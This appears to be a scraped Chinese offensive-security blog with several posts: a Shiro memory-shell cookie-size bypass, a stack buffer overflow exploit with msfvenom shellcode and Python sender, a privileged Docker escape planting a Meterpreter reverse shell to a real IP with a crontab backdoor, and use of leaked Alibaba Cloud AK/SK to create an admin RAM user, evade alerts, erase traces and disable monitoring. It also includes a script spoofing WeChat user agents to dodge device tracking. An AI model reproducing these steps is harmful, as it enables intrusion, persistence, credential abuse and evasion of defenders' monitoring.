最后走到这，关键点来了，为什么$closure等于system呢，因为$this->withAttr[$name]等于p2， $key => $closure 中等于p2 => system，正好与之前的POC中$withAttr=['p2'=>['p2'=>'system']];相对应。

getJsonValue(string $name, $value)中传入的$name为p2，$value为[p2 => whoami]，与之前的POC中$data=['p2'=>['p2'=>'whoami']];相对应。

这段代码$value[$key] = $closure($value[$key], $value);则为$value[$key] = system('whoami', $value);，则执行命令。

selenium模拟微信UA请求踩的坑

GowNinng — Fri, 17 May 2024 16:47:00 GMT

某天一朋友分享给我一个url，他让我写一个python脚本批量动态模拟请求，打开看了一下，网站首先先校验UA头是否为微信，用burp打开抓包看一下，觉得就是改个UA的事情，但是他又说后台是会记录请求IP、UA、设备ID等各种记录，需要每次不同才行，那我心想着改个随机微信UA再添加个代理池功能得了，于是开始操作。

首先我先只在火狐上面用插件模拟UA头看是否能绕过，用的插件是User-Agent Switcher and Manager 直接选择WeChat的UA，点击应用，访问url，成功访问（这里就不上图了，涉及隐私）。

既然成功了，那我就开始写脚本，用python的selenium模块模拟浏览器操作。

xxx省略代码，我用的是Chrome，结果第一个坑就来了，这个url只能访问http，结果模拟一直跳转到https，在网上搜各种资料都不行，无奈我让朋友再给我一个支持https的链接，作罢。

接下来又来了一个坑，UA头在脚本打印出的结果是已经替换，但是浏览器打开我用f12查看的时候并没有更改成功，包括抓包也是，我想着奇了怪了，明明我的写法是对的呀。

    # 配置 headers
    new_ua = random.choice(ua_list)  # 使用随机微信 UA
    # 配置 Firefox 选项
    chrome_options = Options()
    chrome_options.add_argument('--disable-gpu')
    chrome_options.add_argument('--no-sandbox')
    chrome_options.set_preference("general.useragent.override", new_ua)  # 设置 UA

忘了说了，这个站点判断如果是微信UA，还会动态请求其他url，都没有被替换UA，一时间头都大了。

然后我想着用seleniumwire的interceptor替换请求头，在终端打印后显示替换成功，抓包也显示替换成功，但是浏览器f12还是没能替换成功，我都无奈了。然后把下面的这段代码注释了。

  # 设置请求头
    def interceptor(request):
        # if request.url.startswith('https://'):
        #     request.url = request.url.replace('https://', 'http://')  # 将 HTTPS 改为 HTTP
        # 清理重复的请求头（统一转换为小写）
        for key in list(request.headers.keys()):
            if key.lower() in headers:  # 如果请求头已存在，先删除
                del request.headers[key]
        # 添加自定义请求头
        for key, value in headers.items():
            request.headers[key] = value

    driver.request_interceptor = interceptor

改来改去又有很多坑，我觉得代码没问题，仔细想了想，之前用了火狐加插件就可以模拟，我为何不用火狐的driver来模拟呢，将chrome替换成火狐，结果莫名其妙的成功了。

shiro注入内存马cookie过长问题

GowNinng — Wed, 27 Mar 2024 02:47:00 GMT

在Apache Shiro框架中注入内存马时，遇到Cookie过长的问题通常与Shiro的Cookie处理机制和HTTP协议限制有关，本文只讲可用方法。

1. 问题根源分析

1.1 Shiro的Cookie处理机制

RememberMe Cookie：Shiro默认使用CookieRememberMeManager，序列化对象后Base64编码存储在Cookie中
长度限制：
- HTTP协议规范：单个Cookie值通常不超过4KB（浏览器和服务器的共同限制）
- 常见服务器限制：
  - Tomcat默认最大Cookie头：8KB（可通过maxCookieCount调整）
  - Nginx默认请求头大小：4KB（需调整large_client_header_buffers）

1.2 内存马注入场景

当注入复杂的内存马（如Tomcat Filter型）时，序列化后的payload可能超过限制：

// 示例：一个包含多个Filter的复杂内存马序列化后可能达到10KB+
byte[] payload = Serializer.serialize(complexMemoryShell);
String base64Payload = Base64.encode(payload); // 长度膨胀约1.3倍

2. 解决方案

2.1 Payload压缩优化

// 使用GZIP压缩（可减少50%-70%体积）
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzip = new GZIPOutputStream(baos);
gzip.write(payloadBytes);
gzip.close();
byte[] compressed = baos.toByteArray();
String finalPayload = Base64.encodeToString(compressed);

// Shiro端需配套解压代码
public class CompressedRememberMeManager extends CookieRememberMeManager {
    protected byte[] convertCookieToBytes(byte[] compressed) {
        return Gunzip.decompress(super.convertCookieToBytes(compressed));
    }
}

2.2 分片存储方案

// 将payload分片存储到多个Cookie中（需自定义管理器）
String[] chunks = splitPayload(base64Payload, 3800); // 每片略小于4KB

response.addHeader("Set-Cookie", "shiro_chunk_1=" + chunks[0]);
response.addHeader("Set-Cookie", "shiro_chunk_2=" + chunks[1]);

// 服务端重组逻辑
public byte[] rebuildPayload(HttpServletRequest request) {
    String[] chunks = getCookies(request, "shiro_chunk_");
    return Base64.decode(String.join("", chunks));
}

2.3 替代存储位置

存储方式	实现方案	优缺点
URL参数	`rememberMe=${payload}` 附加到所有请求URL	需控制路由长度，可能被日志记录
HTTP Headers	自定义Header如`X-Remember-Me: ${payload}`	需服务端配合解析
LocalStorage	JS通过`localStorage.setItem('rm',payload)` + 每次请求自动携带	需XSS配合
IndexedDB	存储大体积payload，通过Service Worker拦截请求注入	实现复杂

2.4 精简内存马设计

// 使用最小化内存马模板（约1.5KB序列化后）
public class MiniShell implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res) {
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            // 直接调用Runtime.getRuntime().exec()等基础功能
        }
    }
}
// 生成payload时可减少50%体积

3. 绕过服务器限制的技巧

3.1 Tomcat配置突破

3.2 Nginx调整

http {
    large_client_header_buffers 4 32k; # 允许32KB的Header
}

3.3 分块传输编码（Chunked）

POST /login HTTP/1.1
Transfer-Encoding: chunked

7\r\n
payload=\r\n
800\r\n
[compressed_data_in_chunks]\r\n
0\r\n\r\n

4. 防御检测方案

4.1 服务端防护

// 自定义RememberMe管理器检测异常payload
public class SecureRememberMeManager extends CookieRememberMeManager {
    protected byte[] getRememberedSerializedIdentity(HttpServletRequest request) {
        byte[] data = super.getRememberedSerializedIdentity(request);
        if(data.length > 4096) { // 设置合理阈值
            throw new IllegalStateException("Suspicious oversized cookie");
        }
        return data;
    }
}

4.2 监控指标

检测点	异常特征
Cookie数量	单个用户突然出现多个`rememberMe`相关Cookie
Cookie大小	超过4KB的Base64数据（正常Shiro Cookie通常<2KB）
压缩数据特征	GZIP头出现在Cookie中（`1F 8B 08` magic number）

5. 实战案例

某次渗透测试中的成功利用流程：

发现限制：原始Filter内存马序列化后8.7KB → Base64后11.6KB
解决方案：
- 使用GZIP压缩至3.2KB → Base64后4.3KB
- 分片存储到2个Cookie：rm_a(4KB) + rm_b(0.3KB)

利用链：

其他

如果是 waf拦截可以尝试更换http头如果是tomcat头过长可以在cookie写一个loader然后shellcode 写到body。

把 GET POST换成 OPTIONS 等方式，换成静态资源 css、js。

或者在payload中加入某些特殊字符，即可绕过waf，符号有 @、！、# 。

缩短payload长度工具：https://github.com/freeFV/ShortPayload

引用

https://mp.weixin.qq.com/s/OY9x2EYqIxPNABwGQNVkcw Shiro注入反序列化内存马流程
https://mp.weixin.qq.com/s/40hIZ8CY3Oes0c0gB6tVuQ 浅析Shiro反序列化Payload长度绕过

Hello Halo

GowNinng — Thu, 27 Jul 2023 05:22:27 GMT

Hello Halo

如果你看到了这一篇文章，那么证明你已经安装成功了，感谢使用 Halo 进行创作，希望能够使用愉快。

缓冲区溢出攻击基础&漏洞复现

GowNinng — Sun, 11 Jun 2023 09:45:00 GMT

0x01 漏洞介绍

缓冲区溢出的原因是程序中没有仔细检查用户输入的参数，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。简单可以理解为程序固定了一个用户可输入的长度，用户输入超过这个长度程序就因为吃得太撑了爆炸了。

0x02 准备工具

1、Windows系统

2、OD

3、IDA

4、Immunity Debuggeer

5、Mona

6、Kali

7、存在缓冲区漏洞的exe文件

(https://github.com/justinsteven/dostackbufferoverflowgood)

0x03 开始复现

看看这玩意什么样子

打开，好像是监听连接啥的，先扔到IDA看一看是干啥的。

打开了有点看不懂，这是干啥的？其实左边目录就是程序运行步骤，直接F5干进去进入主程序。

看着像一个socket连接，不管了，直接扔给ChatGPT，让这玩意解释下。

哦？那就开始找这个端口。

找到端口了，端口为31337，看来是打开软件在本地起一个监听服务，那就用kali虚拟机链接下，先ipconfig获取本地ip，再用nc进行连接。

连上来了，我们的目的是找缓冲区溢出漏洞，先整一堆字符看软件会不会挂。

看来是挂了，不知道是不是这个漏洞导致的，返回IDA接着往下看。点击左边的_handleConnection，然后F5查看代码。

找到了，缓冲区大小为58623。

启动OD，加载程序，步进到程序运行的地方，我们在kali中开始nc并发送一堆A，然后程序抛出异常，且EBP和EIP已经全部变成了41414141，那么很显然这个时候通过缓冲区溢出EBP和EIP已经成功被我们使用AAAA给覆盖了， "41414141" 是十六进制表示的 ASCII 字符串 "AAAA"。也就是说我们可以通过缓冲区溢出来覆盖栈上的数据。那这样就确定为是漏洞了。

通俗来讲就是在缓冲区溢出攻击中，当输入的数据超出了缓冲区的容量并覆盖了其他变量或数据时，如果覆盖的内容正好是指针或地址，那么这个指针或地址将被误解为下一条将要执行的指令地址。因此，当输入的内容为 "AAAAAAAA" 或 "41414141" 时，它们可以被错误地解释为存储在 EIP（Extended Instruction Pointer）中的地址值，导致执行流程被劫持到这个地址处执行，可能触发崩溃或执行意外的代码。

成功溢出，但是那一大段A都是Ctrl+C Ctrl+V扔进去的，并不记得一共有多少,所以等下只能让kali来找偏移量了。

那么接下来使用Immunity Debugger配合Mona来分析然后构造shellcode

运行程序,并在Immunity Debugger中把程序拉进去。记得要安装Mona插件，网上有教程。

使用!mona modules看下这程序存不存在保护机制。

主程序实际上只开启了SafeSeh，先不用管，先计算一下偏移量。

Kali msf-pattern_create -l 20000

生成20000个规律字符，然后发送给服务端的指定端口，你可以使用nc发送也可以使用socket连接并发送数据。

生成成功。

debug程序让它跑起来，然后再输入进去。

输入刚才生成的脏数据，程序现在已经挂了回到ID查看EIP。

EIP为39654138，接下来用kali计算。

msf-pattern_offset -l 20000 -q 39654138

偏移量为146。

原理就是先生成20000个字符用于发送至服务端，然后根据溢出时EIP被覆盖的数据用来计算一共被覆盖了多少位，显示结果为146，说明覆盖EIP地址的是第146个字符后面的字符，接下来就可以控制EIP的地址，需要让他跳转到我们的shellcode。

那么在此之前,我想用字符去确认一下偏移量是否准确,我们使用146个A,然后再使用4个B,看下EIP被覆盖的情况。

生成146个A，再添加四个B。

程序异常,EIP被覆盖为了42424242,也就是对应BBBB。

偏移量计算准确，开始尝试做构造shellcode前的一个环节之一，也就是查找坏字符，虽然我们输入的内容会被转换为16进制的值，但是也并非它能接受任何值，比如说通用的坏字符例如“\x00”。

然后我们寻找JMP ESP，查看可以让我们插入shellcode的地方。

直接!mona jmp -r esp就可以，结果如下。

0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000

0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000

那么至于可不可用，就需要构造shellcode来试试其可用性了。

使用

msfvenom -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00\x0d' -f python -v code

那么分析完毕后我们使用win10 x64环境,使用kali生成x64的shellcode。

生成弹窗计算器并且排除掉坏字符。

那么生成shellcode后，我们就需要构造payload了。

Payload=字符填充+JMP ESP+nop+shellcode

字符填充也就是偏移量的146个A，JMP ESP就是我们!mona jmp -r esp后显示的两个可以JMP ESP的地址，但是栈是先进后出的顺序，所以0x080414c3就需要反着来，就要写成\c3\14\04\08也就是\xc3\x14\x04\x08，0x080416bf就需要写成\bf\16\04\08也就是\xbf\x16\x04\x08。

那么python代码如下：

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('172.30.193.125',31337))

tc="A"*146eip="\xc3\x14\x04\x08"nop="\x90"*16

code =  b""code += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xab\xd9\x08\xbc\x5b"code += b"\x29\xc9\xb1\x36\x31\x43\x18\x83\xeb\xfc\x03\x43"code += b"\xbf\x3b\xfd\x40\x57\x39\xfe\xb8\xa7\x5e\x76\x5d"code += b"\x96\x5e\xec\x15\x88\x6e\x66\x7b\x24\x04\x2a\x68"code += b"\xbf\x68\xe3\x9f\x08\xc6\xd5\xae\x89\x7b\x25\xb0"code += b"\x09\x86\x7a\x12\x30\x49\x8f\x53\x75\xb4\x62\x01"code += b"\x2e\xb2\xd1\xb6\x5b\x8e\xe9\x3d\x17\x1e\x6a\xa1"code += b"\xef\x21\x5b\x74\x64\x78\x7b\x76\xa9\xf0\x32\x60"code += b"\xae\x3d\x8c\x1b\x04\xc9\x0f\xca\x55\x32\xa3\x33"code += b"\x5a\xc1\xbd\x74\x5c\x3a\xc8\x8c\x9f\xc7\xcb\x4a"code += b"\xe2\x13\x59\x49\x44\xd7\xf9\xb5\x75\x34\x9f\x3e"code += b"\x79\xf1\xeb\x19\x9d\x04\x3f\x12\x99\x8d\xbe\xf5"code += b"\x28\xd5\xe4\xd1\x71\x8d\x85\x40\xdf\x60\xb9\x93"code += b"\x80\xdd\x1f\xdf\x2c\x09\x12\x82\x3a\xcc\xa0\xb8"code += b"\x08\xce\xba\xc2\x3c\xa7\x8b\x49\xd3\xb0\x13\x98"code += b"\x90\x4f\x5e\x81\xb0\xc7\x07\x53\x81\x85\xb7\x89"code += b"\xc5\xb3\x3b\x38\xb5\x47\x23\x49\xb0\x0c\xe3\xa1"code += b"\xc8\x1d\x86\xc5\x7f\x1d\x83\x85\x45\xbd\x5b\x63"code += b"\xd7\x59\xcb\x04\x54\xfe\x60\x92\xe9\x8a\xe3\x09"code += b"\x3e\x41\xb0\xb2\x21\xc9\x2b\x1b\xc4\x69\xc9\x63"



s.send(tc+eip+nop+code+'\r\n')s.recv(1024)

Kali运行。

python2 payload.py

成功弹出计算器。

0x04 引用文章

记录一次内网docker逃逸

GowNinng — Sun, 21 May 2023 04:40:00 GMT

privileged 特权模式启动容器

1、启动特权容器

docker run -it --privileged ubuntu:18.04

2、挂在宿主机目录

fdisk -l

可以直接挂载宿主机的磁盘

mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/

查看宿主机的/etc/passwd

查看root目录

Tips： chroot命令 chroot命令用来在指定的根目录下运行指令。chroot，即 change root directory （更改 root 目录）。在 linux 系统中，系统默认的目录结构都是以/，即是以根 (root) 开始的。而在使用 chroot 之后，系统的目录结构将以指定的位置作为/位置。把根目录换成指定的目的目录。

授予木马权限：

chmod +x /uzju/root/shell.elf

MSF 监听上线：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=3333 -f elf > shell.elf

逃逸：

chmod +x /uzju/root/shell.elf

写入定时任务：

echo '*/1   root /root/shell.elf' >> /uzju/etc/crontab

之后可执行上线

阿里云AK/SK通过RAM用户访问凭证

GowNinng — Fri, 18 Nov 2022 03:38:00 GMT

之前挖漏洞挖到的阿里云ak和sk经常用cf来登录，但是现在用cf登录的话阿里云容易告警，应该是云厂商研究了cf的特征。现在用cf登录的话会直接紧急告警，所以在我面前有两种方法可选择，一是修改cf特征(二开)，二是使用RAM用户登录，告警会降低级别，不会出现紧急告警的情况。

首先我用自己的阿里云账户创建一个云存储，生成ak和sk，然后调用RAM，具体文档在这里
https://help.aliyun.com/zh/ram/user-guide/overview-of-ram-users
这个文档的操作都是在控制台进行的，渗透过程中只有AK和SK，登录不了控制台，但是有一个工具可以实现创建RAM用户，那就是阿里云CIL，可以在官方文档中自行下载。

全指令查询 aliyun ram

安装好后，打开工具窗口，输入版本命令，查看工具当前版本。

输入aliyun configure，然后再输入得到的ak，sk和云服务所在地区，登陆成功会显示阿里云的LOGO。

创建RAM账号，aliyun ram CreateUser --UserName gowninng

aliyun ram CreateLoginProfile --UserName gowninng --Password 123456789 其中CreateLoginProfile指令为给账户添加web控制台的权限。

aliyun ram ListUsers 查看用户是否创建成功。

aliyun ram ListPolicies 列出权限列表。

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName gowninng

其中AttachPolicyToUser给用户加权限。

取消管理员权限 aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName gowninng

删除用户 aliyun ram DeleteUser --UserName gowninng

这样就不留痕迹了。

登录账号密码为账号@别名，密码是自己设置的密码

aliyun ram GetAccountAlias 查询此账户的别名。

然后登陆

并没有告警

如果有告警的话就把云盾干了，记住要先把在云安全中心的所有的监控都都关闭。

思路来自RAM文档

/1dreamGN/Blog

国内EdgeOne+国外Cloudflare和ESA智能分流访问

前言

开始

分线路解析

弊端

其他

一种老生常谈却又很新颖的恶意程序免杀方式

前言

过程

最后

Armoury Crate or Ghelper? Of course fxxk ROG!

前言

过程

其他

最后

若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE

前言

什么是Thymeleaf表达式注入？

漏洞分析

RCE

ShiroKey至RCE

引用

PHP_WebShell_反射Bypass

前言

PHP5版本

PHP7版本

高版本JDK下JNDI漏洞利用方法精简总结

前言

基于BeanFactory的利用方法

绕过原理

可用的利用类

XXE & RCE

漏洞发现

XXE漏洞

RCE漏洞及利用方法

JDBC RCE

dbcp

tomcat - jdbc

druid

Deserialize

引用

Tomcat高版本注入内存马

前言

tomcat8环境

tomcat9环境

引用

基于Barrager.js的Halo主题评论弹幕插件

效果

后台设置

样式设置

行为设置

页面设

其他

Java Agent & 内存马

Java Agent

准备

Premain

Agentmain

Javassist

Agent内存马

检测与查杀

通过CVE-2019-2725对ClassPathXmlApplicationContext不出网的思考

前言

环境搭建

漏洞复现

不出网思考

漏洞案例

上传缓存机制

PHP 上传缓存​​

​​Java 上传缓存​​

​​为何无上传接口仍有缓存文件？​​

实践

通配符

使用通配符

基本通配符

多级目录通配符

组合使用

通配符说明

漏洞实践

PHP 上传缓存

Java 上传缓存

为何无上传接口仍有缓存文件？